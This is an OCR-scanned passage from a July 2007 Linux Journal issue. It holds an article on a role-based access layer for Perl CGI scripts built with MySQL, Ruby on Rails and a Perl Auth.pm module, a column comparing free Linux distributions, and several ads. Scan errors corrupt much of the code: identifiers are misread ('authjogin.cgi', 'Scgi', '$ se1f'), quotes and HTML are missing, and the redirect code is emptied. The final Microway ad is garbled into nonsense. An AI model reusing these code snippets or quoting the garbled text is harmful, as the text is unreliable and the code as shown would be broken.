accomplished by an elegant, easy-to-build system that provides benefits in three different areas. For starters, it gives programmers a one-line solution for controlling access to any script. Meanwhile, on the back end, it provides administrators with a friendly Web-based application for managing access. Finally, and maybe most important, the system creates an experience for end users that's logical and simple. For exam¬ ple, people are required to log in only once when they first attempt to access a protected script. Afterward, they'll have uninterrupted access to any other protected areas if they're authorized to enter. Here's a little bit of context to see why this kind of system might be needed. I work at Lewis & Clark College, nestled in 137 deeply wooded acres. While I sit on one end of campus with the aroma of wet Douglas Fir trees drifting in through the window, our Web appli¬ cations are increasingly being used by staff members in new ways and in far-flung locations. We have an excellent LDAP-based authentication system that's managed by IT. People can log in to dozens of different applications, from many places on the hilly campus with their one user name and password. The programmers have well-tested Perl and PHP libraries that tie into this system. You might be wondering, So what's the problem? Why build another layer on top of something that's working? And actually, for a long time, there was no need. The existing setup was just fine. But over time, we began having growing pains, coming from several sources. The number of Perl CGI applications for internal users has been growing steadily. These apps are increasingly tailored for very specific tasks and are intended to be used by only a small group of people. These legacy applications were developed over a period of years by many different developers. Although they each used the LDAP system described above, they handled sessions, cookies and access in different ways. A whole set of new scripts required protected access for certain user groups. We had no good way of keeping track of or managing who would be able to access what. As a software engineer, my first thought was to create a small reusable library of some kind so that code wouldn't be duplicated. I would write the code for logging in and session management just once and use it in many places. But, before I got started, I realized there were a couple deeper issues I should address. We ought to handle and support the notion of roles directly. Up to this point, our software had focused on users, the actual people who would be using the software. But in fact, our users each have many roles, and one role may be performed by many people as well. The existing scripts combined two distinct functions that Figure 1. System Architecture would be better kept separate: authentication and authorization. Authentication is the process of determining whether users are who they say they are. Authorization is the process of deciding should user X be able to do thing Y? Building the Solution The plan for the new system features three independent pieces: a database containing the knowledge of users and their roles, a Ruby on Rails application for administrators to manage the database, and a set of adapter libraries for each application programming environment in use. For our scenario, I wrote a Perl module to connect our legacy applications to the new framework (Figure 1). The Back End It was fairly simple to create an appropriate knowledge base for this project. We used MySQL, but any relational database supported by both Ruby on Rails and Perl would be fine. The database schema is the standard solution for handling a many-to-many relationship (Figure 2). The adminjjsers table is simply a list of user names. Simple inclusion in the table doesn't grant a user any rights. It provides only the possi¬ bility for that user to be linked with roles. Similarly, the admin_roles table enumerates and describes only the roles that users may or may not be assigned to. I included a description field so that administrators could document the intended use of a role. In this simple schema, a role name might be office manager or news editor. While the first two tables are essentially static, the final table, admin_roles_admin_users, captures the dynamic information about which users have been assigned to which roles. For each instance of a particular user having a particular role, a new record will be created in this table. This kind of schema is very pure and flexible, but the flipside is that it makes it nearly impossible to enter data by hand, and some¬ what of a chore to write an application to manage it. This is where Ruby on Rails comes in. 90 | july 2007 www.linuxjournal.com Front End #1: a Management Application Ruby on Rails (RoR) shines in the area of database applications that need to provide CRUD (Create, Retrieve, Update, Delete) functionality. It was a simple and easy task to get our database management applica¬ tion up and running (Figure 3). Plenty of good tutorials are available for creating a basic RoR Web application, so in this article I describe only the necessary customizations. As it turned out, there weren't many. The first thing to note is that I carefully chose the names of the tables and columns to comply with Ruby on Rails naming conventions (Figure 2). This turned out to be a bit tricky; I couldn't find a single source for all the conventions and their implications. In this situation with a join table (admin_roles_admin_users), it was important to concatenate the names in alphabetical order and not to include an id column. The main customization necessary was to tell RoR about the many-to-many relationship. This was accomplished with a single line added to admin_role.rb: class AdminRole < ActiveRecord::Base has_and_belongs_to_many :admin_users end and an equivalent one in adminjjser.rb: class AdminUser < ActiveRecord :: Base has_and_belongs_to_many :admin_roles end With these changes, RoR could work with the data correctly and maintain all the proper relationships. In order actually to display and edit the join information, a bit more work was required in the view and controller classes (see Resources). When finished, I had nice screens, such as the one shown in Figure 4. With the administrative application in place, we could begin popu¬ lating the database. But for this information actually to be used, an adapter would have to be written for our Perl/CGI runtime environment. Front End #2: a Perl/CGI Adapter I'm a big fan of declarative (as opposed to procedural) programming, when it can be used. What does this mean? Well, one way to check for authorization might look like this: my $username = $auth->currrent_user; if (! $username) { # Handle the login form } elsif (! $auth->user_has_role($username, news editor)) { # Show error message and exit } Sure, that could be simplified a bit—for example, by implementing a current_user_has_role() method. But it's still procedural, telling the computer what to do. Instead, we can reduce this to one line by telling the computer (declaring) what we want $auth->require_role(news editor); This require_role() method means this role is required to get any further, and it gives a very simple guarantee: execution will proceed Figure 3. Admin Application, Role Listing Figure 4. Admin Application, Editing a Role beyond this point only if the current user should be able to. If the user 1) already has logged in and 2) has the given role, then require_role() will simply return and the script will continue executing normally. Otherwise, the Sauth object will take whatever steps are necessary to first authenticate and then either grant or deny access to users based on their assigned roles. This makes a lot of things easier. For application programmers, it means they don't have to worry about how the $auth object does its job. Nor do they have to worry about whether they got their ifs and elsifs written correctly. All they need to worry about is what role is appropriate for that script. It was honestly a lot of fun to implement the Auth.pm Perl module and watch so much happen with so little effort required by the application programmer. Figure 5 is a flowchart that shows what happens when require_role is invoked. Concretely, my implementation required only four short files: www.linuxjournal.com ju ly 2007 | 91 INDEPTH 1 ■ Auth.pm: the gatekeeper for the system. It imple¬ ments the business logic of checking first for authentication and sec¬ ond for authorization. ■ login.tt2 (using Template Toolkit): renders a login form with embedded hidden values to keep track of the originally requested destination page. The results of the login attempt are sent to authjogin.cgi. ■ auth_error.tt2: renders an error page, letting users know that they don't have the required authorization to access the script. ■ authjogin.cgi: responsible for the simple task of authenticating the user and restarting the access checking. In our case, it connects to the LDAP system and looks to see if the given login information is correct. If it is, then this fact is saved in a session/cookie, and the originally requested CGI script is re-executed. Here are the most important sections of each file: ■ auth.pm: The heart of this module is the require_role() method. It contains the control logic for the whole process. In my implementa¬ tion, I use CGI.pm in the 00 style, so I pass it in as a parameter. Notice how the use of return vs. exit controls the user's experience: sub require_role { # # Ensure that the user is logged in and has the # specified role. # my $self = shift; my $role = shift; my $cgi = shift; if (! $role) { confess("No role was specified"): } if (! Scgi) { confess("No CGI object was given"); } my $uname = $self->get_authentication_info(); if ($uname) { # The user has been authenticated. if ($self->user_has_role($uname, $role)) { # Success - continue, return; } else { # Failure - the user does not have # the specified role. $ se1f->_display_error_page($cgi); exit; } } else { # The user has NOT been authenticated. $self->_display_login_page($cgi); exit; } } ■ login.tt2: Template Toolkit is an awesome way to create HTML pages. I could have achieved the same thing with a here document in Perl, but this is much cleaner. It also allows the template to be executed from both Auth.pm and authjogin.cgi.

Please login to access [% target_page %]:

User name:
Pas sword:
[% IF error_message %]

[% error_message %]

[% END %] ■ authjogin.cgi: finally, here is the key section from the login form handler. This is a very simple script: if (&ldapauth($name, $pass)) { # Success: Create a session, and # redirect to the target page. &create_session($name); print ""; print '"; } else { # Failure: Re-display the login form with an # error message, print $q->header; &redisplay_page("Login failed: password incorrect.", $target_page, $target_url); } Figure 5. Auth.pm Flowchart 92 | july 2007 www.linuxjournal.com Growing a World of Linux Professionals LPI-Deutsch LPI-Bulgaria LPI-Korea LPI-Japan LPI-China We at the Linux Professional Institute believe the best way to spread the adoption of Linux and Open Source software is to grow a world wide supply of talented, qualified and accredited IT professionals. We realize the importance of providing a global standard of measurement. To assist in this effort, we are launching a Regional Enablement Initiative to ensure we understand, nurture and support the needs of the enterprise, govern¬ ments, educational institutions and individual contributors around the globe. We can only achieve this through a network of local "on the ground" partner organizations. Partners who know the sector and understand the needs of the IT work force. Through this active policy of Regional Enablement we are seeking local partners and assisting them in their efforts to promote Linux and Open Source professionalism. We encourage you to contact our new regional partners listed above. Together we are growing a world of Linux Professionals. © Linux Professional Institute Stable. Innovative. Growing INDEPTH 1 With all the pieces in place, we're ready to go. Here's a simple Perl CGI script that we want to try to protect: #!/usr/bin/perl use CGI; my $q = CGI->new(); print $q->header; print <

This is a TOP SECRET page.

EOF It creates the output shown in Figure 6. But, now let's modify it to use the new framework: #!/usr/bin/perl use CGI; use Auth; my $q = CGI->new(); my $a = LC::Auth->new; $a->require_role( ’top-secret stuff’, $q); print $q->header; print <

This is a TOP SECRET page.

EOF After making this simple change, reloading the browser now shows the same URL, but instead of the top-secret contents, we see a login form (Figure 7). Logging in correctly will do several things in the blink of an eye: send the information to authjogin.cgi, which will verify it, and then store the logged-in state in a session; redirect to the initial page, which will re-execute require_role(), which now finds the session, verifies role membership with the MySQL database; and then returns, allowing the script to display the content. But, as far as users are concerned, after submitting the login form, their application simply appears. Conclusion This simple collection of a few short Web scripts provides a surprising array of benefits. Login functionality is factored out into a reusable module for Web scripts. Users and roles are now understood by the system. Authorization is separated from authentication. Single sign-on is provided, because one session/cookie is checked by all scripts. The functionality is language- and environment-independent. Easy-to-add custom login templates provide a seamless user experience. And, changes in role assignments take effect in real time, because the role database is consulted every time a script is invoked. I see this as the payoff for putting in a little bit of time up front to Figure 6. Unprotected Page Figure 7. Login Form investigate the problem, and plan a good solution. Another factor that contributed to this project's success is the use of Ruby on Rails for back-end data management. I envision that in the future, we'll have suites of application components such as this that adapt to the needs of our users on the front end. And behind the scenes, we'll quickly deploy management applications with tools such as Rails. ■ Robb Shecter is a software engineer at Lewis & Clark College in Portland, Oregon. He’s responsible for Web application development and software engineering processes. He’s particularly interested in programming languages and software design. He can be reached at robb@lclark.edu. Resources A Many-to-Many Tutorial for Rails by Jeffrey Hicks (9/4/2005): jrhicks.net/Projects/rails/has_many_and_belongs_to_many.pdf Rails Framework Documentation: api.rubyonrails.com 94 | july 2007 www.linuxjournal.com access-list 101 deny ip any any Register by July 16,2007, and save! th lb 1 SECURITY SYMPOSIUM Boston, MA August 6-10, 2007 A five-day tutorial and refereed technical program for security professionals, system and network administrators, and researchers CO-LOCATED WORKSHOPS 2007 USENIX/ACCURATE Electronic Voting Technology Workshop (EVT ’07), August 6 First USENIX Workshop on Offensive Technologies (WOOT ’07), August 6 DETER Community Workshop on Cyber Security Experimentation and Test 2007 (DETER 2007), August 6-7 2nd USENIX Workshop on Hot Topics in Security (HotSec ’07), August 7 /var/opinion Amazing Free Distributions Abound Tales of a month’s worth of a free distro shopping spree. Nick Petreley, Editor in Chief I went on a distro shopping spree this month to see what's out there. Okay, it wasn't a shopping spree, per se, because the only money I spent was for blank disks and download/install time. But, I tried a whole bunch of distributions to get a picture of where Free (as in beer) Linux is today. Despite its many quirks and how annoy¬ ing it can be to get multimedia working on some systems, Kubuntu is still my favorite. I now run both Kubuntu 7.04 x86 and 7.04 AMD64 as my standard desktops. Why both? I run x86 because there are some things you can't do on the AMD64 version. I run the AMD64 version just for the heck of it. Kubuntu is, of course, the KDE spin-off of Ubuntu, which is GNOME-based. I ran Ubuntu on my server for almost two years. I switched to Kubuntu recently only because the Kubuntu install disk was easier to find when I replaced the main disk on my server. If I had been more diligent that day, I would have downloaded the server version of Ubuntu and used that. Ubuntu now has more spin-offs than Happy Days. For those of you who remem¬ ber that Happy Days was itself a spin-off of Love American Style, you may see why I chose this particular comparison. Although spin-offs of Ubuntu abound, Ubuntu is one of many spin-offs of Debian. I still have Debian installed on its own partition, and I boot it now and then. As Ubuntu matures and offers more frequent stable updates, some former Debian spin-offs are switching to Ubuntu as their base. But I find it reassur¬ ing to know that Debian keeps getting bet¬ ter, slowly but surely, and I always can go back to it with great satisfaction. I run the unstable branch of Debian, which is a mis¬ nomer if ever there was one. The unstable branch is remarkably stable, but the name does silence critics if something goes wrong. I look forward to the Ubuntu-based Freespire/Linspire, and I love the new Ubuntu- based MEPIS. But my favorite Ubuntu spin-off is Mint (linuxmint.com). Mint comes with multimedia packages that are non-free, some of which are illegal but shouldn't be, and some that one could argue should be illegal if you don't own a copy of Windows (I do). Mint saves you the trouble of finding these pack¬ ages and making them work. Mint is still stuck on Ubuntu Edgy (the latest Ubuntu is Feisty), and I don't like that. But, Mint makes GNOME almost enjoyable, and I like that. There's a KDE version of Mint, but it lacks the customized Mint tools, so it seems pointless right now. You can just install KDE on the regular Mint. Xandros is still Debian-based, and it's a great distro. The only thing I don't like about it is that it uses LILO instead of GRUB, which makes it difficult for me to install it as one of many distros. I work around that fine, though. Knoppix, another distro based on Debian, is still amazing when it comes to hardware detection. I'm losing interest in Knoppix, though, as Ubuntu spin-offs are taking over the world. Fedora is a fine distro too, but I can't make myself use it. Maybe I'm doing something wrong and you can clue me in, but I can use apt to download, install and upgrade hundreds of packages in the time it takes to use Yum to install/update a dozen packages. And, forget about the graphical Yum updater. More often than not I just assume it's hung and kill it. And, although I never seem to encounter dependen¬ cy issues on Debian and Ubuntu-based distros, I still run into problems with Fedora. PCLinuxOS, a souped-up version of Mandriva, is great, but it's currently behind the times. Maybe I'll rave about the next stable release. OpenSUSE is a great distro too, but I refuse to use it as long it's tainted by associa¬ tion with Novell and its deal with Microsoft. It's not like it offers anything compelling over dozens of alternatives. I ended my love affair with Gentoo quite a while ago, when it lost its direction and became a source of out-of-date or broken packages. However, the Gentoo-based Sabayon Linux will knock your socks off and make them dance around the room. Sabayon is comprehensive in scope and is the only distro that automatically set up the fancy 3-D environment without my having to tweak anything. The only thing I don't like about Sabayon is that I get errors when I try to update software with the Gentoo portage system. I get the impression you're just sup¬ posed to update via new Sabayon distribu¬ tions as they're released. Eh, okay, but I am still going to see if I can get portage working. I run Damn Small Linux on my old Compaq notebook with 256MB of RAM simply because it won't run anything more bloated than that. Believe it or not, I tried even more distri¬ butions last month than these, but I've run out of room. I hope you'll try at least a few of the above. I don't think you can go wrong with any of them.H Nicholas Petreley is Editor in Chief of Linux Journal and a former programmer, teacher, analyst and consultant who has been working with and writing about Linux for more than ten years. 96 | july 2007 www.linuxjournal.com "Fanatical Support™ turned a potential failure into a big success." "Just before a client site was going to launch, we learned its traffic would be much heavier than anticipated. I thought: Oh, great - this project is going to bomb. But I called my team at Rackspace, and within 30 minutes they'd come up with a solution. The site launched without a hitch. I wish all my vendors offered Fanatical Support. I'd have a lot less grey hair." Overcoming last minute obstacles is one definition of Fanatical Support. What will yours be? Watch Russell's story at www.rackspace.com/fanatical 1-888-571-8976 HOSTING MANAGED HIS Affordable InfiniBand Solutions] 4 Great Reasons to Call Microway NOW! TriCom ™ BdDR/SDR InfiniBand HCA "Switchless 11 serial console HNodeWatch web enabled remote monitor and control 8051 BMC interface and serial console switch Headers to fan tach lines, voltages, temperature probes PS On/Off and MB reset COM2 Internal connector RJ45 RS-485/422 Daisy chain connectors InfiniBand connector ,TM ServaStor Extensible IB based storage building blocks Redundant and scalable Parallel file systems Open source software On-line capacity expansion RAID 0,1,1 E, 3,5,6,10, 50 ^TM DDR InfiniBand switches Low latency, modular design 24, 36 and 48 port building blocks Mellanox™ InfiniHost InfiniBand HCA InfiniScope TM Monitors ports on HCA’s and switches Provides real time BW diagnostics Finds switch and cable faults Lane 15 interface Logs all IB errors ■ £.■ Mj'b HJl * ■ B g IPS** £ L ?mn gi'iu.,. — r i, a M - L . L fc 1 ff* Ji pn i#SI j jii L jft J * 1 J 1 *w)W0Hlr»UZl i 9 V I ww iflfe | jdftn SP| *i| U[ JJ| J-] 1 1 gp—; 1 T f :\ r l—- - - - --- 1 Upgrade your current cluster\ or let us design your next one using Microway InfiniBand Solutions - To speak to an HPC expert call 508 746-7341 and ask for technical sales or email sales@microway.com www. micro way. com